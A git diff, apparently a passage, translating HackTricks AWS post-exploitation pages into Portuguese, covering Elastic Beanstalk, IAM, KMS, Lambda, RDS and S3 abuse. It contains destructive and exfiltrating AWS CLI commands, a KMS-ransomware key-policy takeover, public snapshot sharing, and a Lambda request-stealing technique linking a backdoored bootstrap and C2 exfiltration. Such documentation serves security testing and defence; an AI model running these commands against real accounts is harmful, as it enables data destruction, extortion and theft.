privileges from the **Node** and recover the cluster. +> Note que se o cluster estivesse usando **EC2 VMs**, poderia ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 para o cluster e recuperá-lo acessando os tokens no node. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..13f1f3f89 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Elastic Beanstalk Post Exploitation +# AWS - Elastic Beanstalk Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information: +Para mais informações: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: Testar se mais permissões são necessárias para isso +Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **deletar uma versão de aplicativo existente**. Esta ação pode interromper pipelines de implantação de aplicativos ou causar a perda de versões específicas de aplicativos se não forem feitas cópias de segurança. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**Impacto Potencial**: Interrupção da implantação de aplicativos e potencial perda de versões de aplicativos. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: Testar se mais permissões são necessárias para isso +Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e potencial perda de dados se o ambiente não estiver configurado para backups. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**Impacto Potencial**: Tempo de inatividade da aplicação, potencial perda de dados e interrupção dos serviços. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: Testar se mais permissões são necessárias para isso +Um atacante com a permissão `elasticbeanstalk:DeleteApplication` pode **deletar uma aplicação inteira do Elastic Beanstalk**, incluindo todas as suas versões e ambientes. Esta ação pode causar uma perda significativa de recursos e configurações da aplicação se não forem feitas cópias de segurança. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**Impacto Potencial**: Perda de recursos de aplicação, configurações, ambientes e versões de aplicação, levando a interrupções de serviço e potencial perda de dados. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` -> [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> [!NOTA] +> TODO: Testar se mais permissões são necessárias para isso +Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou levar a comportamentos não intencionais. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**Impacto Potencial**: Servir a versão errada da aplicação para os usuários ou causar comportamento não intencional na aplicação devido a ambientes trocados. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: Testar se mais permissões são necessárias para isso +Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **adicionar ou remover tags em recursos do Elastic Beanstalk**. Essa ação pode levar a alocação incorreta de recursos, cobrança ou gerenciamento de recursos. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**Impacto Potencial**: Alocação incorreta de recursos, cobrança ou gerenciamento de recursos devido a tags adicionadas ou removidas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..3833b8791 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -1,107 +1,93 @@ -# AWS - IAM Post Exploitation +# AWS - IAM Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## IAM -For more information about IAM access: +Para mais informações sobre acesso IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## Problema do Deputado Confuso -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +Se você **permitir que uma conta externa (A)** acesse um **papel** em sua conta, você provavelmente terá **0 visibilidade** sobre **quem pode exatamente acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso à A, **não conseguirá acessar seu papel**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, desde que a conta externa A saiba, mas a conta externa **B não saiba**, isso **impede B de abusar de A para acessar seu papel**. +Exemplo: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> Para que um atacante explore um deputado confuso, ele precisará descobrir de alguma forma se os principais da conta atual podem se passar por funções em outras contas. -### Unexpected Trusts - -#### Wildcard as principal +### Confianças Inesperadas +#### Coringa como principal ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +Esta política **permite que todos os AWS** assumam o papel. -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### Serviço como principal ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +Esta política **permite que qualquer conta** configure seu apigateway para chamar este Lambda. -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 como principal ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +Se um bucket S3 for dado como um principal, porque os buckets S3 não têm um ID de Conta, se você **deletou seu bucket e o atacante o criou** em sua própria conta, então eles poderiam abusar disso. -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### Não suportado ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` +Uma maneira comum de evitar problemas de Confused Deputy é o uso de uma condição com `AWS:SourceArn` para verificar o ARN de origem. No entanto, **alguns serviços podem não suportar isso** (como o CloudTrail, de acordo com algumas fontes). -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). - -## References +## Referências - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..3428ab3bf 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,137 +1,125 @@ -# AWS - KMS Post Exploitation +# AWS - KMS Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Criptografar/Descriptografar informações -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` e `file://` são esquemas URI usados em comandos AWS CLI para especificar o caminho para arquivos locais: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não-texto. +- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos de codificação especiais. > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://) +- Usando uma **chave** simétrica ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- Usando uma **chave assimétrica**: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +Um atacante com acesso privilegiado ao KMS poderia modificar a política do KMS das chaves e **conceder acesso à sua conta sobre elas**, removendo o acesso concedido à conta legítima. -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +Assim, os usuários da conta legítima não poderão acessar nenhuma informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware fácil, mas eficaz, sobre a conta. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> Note que **as chaves gerenciadas pela AWS não são afetadas** por este ataque, apenas **as chaves gerenciadas pelo cliente**. +> Também note a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a falta desta opção na console web torna este ataque possível apenas a partir da CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> Note que se você alterar essa política e der acesso apenas a uma conta externa, e então, a partir dessa conta externa, tentar definir uma nova política para **dar o acesso de volta à conta original, você não conseguirá**.
-### Generic KMS Ransomware +### Ransomware KMS Genérico -#### Global KMS Ransomware +#### Ransomware KMS Global -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Há outra maneira de realizar um Ransomware KMS Global, que envolveria os seguintes passos: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Destroy keys +- Criar uma nova **chave com um material de chave** importado pelo atacante +- **Recriptografar dados mais antigos** criptografados com a versão anterior com a nova. +- **Excluir a chave KMS** +- Agora, apenas o atacante, que possui o material de chave original, poderá descriptografar os dados criptografados +### Destruir chaves ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> Observe que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..463c9a239 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,33 +1,29 @@ -# AWS - Lambda Post Exploitation +# AWS - Lambda Pós Exploração {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +Para mais informações, consulte: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### Roubar Requisições de URL de Outros Lambdas -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Se um atacante conseguir de alguma forma obter RCE dentro de um Lambda, ele poderá roubar as requisições HTTP de outros usuários para o lambda. Se as requisições contiverem informações sensíveis (cookies, credenciais...), ele poderá roubá-las. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Roubar Requisições de URL de Outros Lambdas & Requisições de Extensões -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Abusando das Camadas do Lambda, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..81cb48583 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Roubar Requisições Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Fluxo Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer** é um processo fora do contêiner que **envia** **invocações** para o processo **init**. +2. O processo init escuta na porta **9001** expondo alguns endpoints interessantes: +- **`/2018-06-01/runtime/invocation/next`** – obter o próximo evento de invocação +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – retornar a resposta do manipulador para a invocação +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – retornar um erro de execução +3. **bootstrap.py** tem um loop obtendo invocações do processo init e chama o código do usuário para manipulá-las (**`/next`**). +4. Finalmente, **bootstrap.py** envia para init a **resposta** -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +Note que o bootstrap carrega o código do usuário como um módulo, então qualquer execução de código realizada pelo código do usuário está realmente acontecendo neste processo. -## Stealing Lambda Requests +## Roubo de Requisições Lambda -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **bootstrap malicioso** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init. -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +Esta é uma tarefa simples de alcançar, pois o código do usuário está sendo executado pelo legítimo processo **`bootstrap.py`**. Assim, o atacante poderia: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Enviar um resultado falso da invocação atual para o processo init**, para que o init pense que o processo bootstrap está aguardando mais invocações. +- Uma requisição deve ser enviada para **`/${invoke-id}/response`** +- O invoke-id pode ser obtido da pilha do legítimo processo **`bootstrap.py`** usando o módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [proposto aqui](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ou apenas solicitando-o novamente para **`/2018-06-01/runtime/invocation/next`** (como [proposto aqui](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Executar um **`boostrap.py`** malicioso que irá manipular as próximas invocações +- Para fins de furtividade, é possível enviar os parâmetros das invocações lambda para um C2 controlado pelo atacante e então manipular as requisições como de costume. +- Para este ataque, é suficiente obter o código original de **`bootstrap.py`** do sistema ou [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), adicionar o código malicioso e executá-lo a partir da invocação lambda atual. -### Attack Steps +### Passos do Ataque -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. Encontrar uma vulnerabilidade **RCE**. +2. Gerar um **bootstrap** **malicioso** (por exemplo, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **Executar** o bootstrap malicioso. +Você pode facilmente realizar essas ações executando: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Então, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot. +Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem acidentalmente registrados, o atacante pode potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**Impacto Potencial**: Acesso a informações sensíveis ou ações não autorizadas usando credenciais vazadas. ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +Um atacante com essas permissões pode **DoS instâncias RDS existentes**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**Impacto potencial**: Exclusão de instâncias RDS existentes e possível perda de dados. ### `rds:StartExportTask` -> [!NOTE] -> TODO: Test - -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. +> [!NOTA] +> TODO: Testar +Um atacante com esta permissão pode **exportar um snapshot de instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..04a8fe2f2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -1,42 +1,38 @@ -# AWS - S3 Post Exploitation +# AWS - S3 Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## S3 -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Informações Sensíveis -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +Às vezes, você poderá encontrar informações sensíveis legíveis nos buckets. Por exemplo, segredos do estado do terraform. -### Pivoting +### Pivotagem -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Diferentes plataformas podem estar usando S3 para armazenar ativos sensíveis.\ +Por exemplo, **airflow** pode estar armazenando **código** de **DAGs** lá, ou **páginas da web** podem ser servidas diretamente do S3. Um atacante com permissões de escrita pode **modificar o código** do bucket para **pivotar** para outras plataformas ou **assumir contas** modificando arquivos JS. -### S3 Ransomware +### Ransomware S3 -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Ele então torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser 